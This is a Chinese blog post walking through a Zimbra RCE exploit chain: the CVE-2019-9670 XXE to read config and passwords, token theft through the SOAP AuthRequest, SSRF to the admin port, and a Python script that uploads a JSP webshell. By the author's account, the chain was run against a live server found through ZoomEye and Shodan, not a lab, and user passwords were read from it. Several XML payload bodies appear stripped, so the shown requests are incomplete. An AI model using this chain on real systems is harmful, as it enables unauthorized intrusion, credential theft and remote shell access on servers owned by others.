zimbra rce 漏洞复现

本地搭建了好久,虚拟机突然蹦了,。。。
上钟馗之眼和shodan找了个目标

第一步,利用了CVE-2019-9670 XXE漏洞来读取配置文件

Zimbra配置文件位置为/conf/localconfig.xml

根据《A Saga of Code Executions on Zimbra》RCE漏洞分析

https://blog.csdn.net/fnmsd/article/details/88657083

Post :/Autodiscover/Autodiscover.xml
内容:


]>
 
    
      aaaaa
      &xxe;
    
  

zimbra rce 漏洞复现_第1张图片
成功读到用户密码,说明XXE验证成功

接下来构造payload读zimbra的配文件localconfig.xml

文章中说道:

由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd:

dtd内容:



">
">

Post:/Autodiscover/Autodiscover.xml
内容:


        %dtd;
        %all;
        ]>

    
        aaaaa
        &fileContents;
    

zimbra rce 漏洞复现_第2张图片
成功读到zimbra用户账号密码

第二步,利用得到的密码获取低权限的token

低权限token可通过soap接口发送AuthRequest进行获取:

Post: /service/soap
内容:


   
       
           
       
   
   
     
        zimbra
        上一步得到密码
     
   

zimbra rce 漏洞复现_第3张图片
拿到低权限token

第三步,利用ssrf漏洞获通过proxy接口,访问admin的soap接口获取高权限Token

Post: /service/proxy?target=https://127.0.0.1:7071/service/admin/soap

Ps:

  • Host:后面加端口7071

  • Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token。

  • 发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token

zimbra rce 漏洞复现_第4张图片
获得ADMIN_AUTH_TOKEN

第四步,利用高权限的token传文件getshell

用python脚本上传

import requests

file= {
'clientFile':("test.jsp",r'<%out.println("test");%>',"text/plain"), 'requestId':(None,"12",None),
}
headers ={ 
"Cookie":"ZM_ADMIN_AUTH_TOKEN=admin_token",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://xxxx/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)

Shell路径
https://xxxx/downloads/test.jsp

访问shell得加上ADMIN_AUTH_TOKEN
这里我没有成功
还是得本地搭建啊,我用ubuntu14.0.4搭建
Zimbra的环境搭建比较麻烦,在此推荐篇有关zimbra搭建的优质博文
https://www.jianshu.com/p/722bc70ff426
zimbra rce 漏洞复现_第5张图片

你可能感兴趣的:(漏洞复现)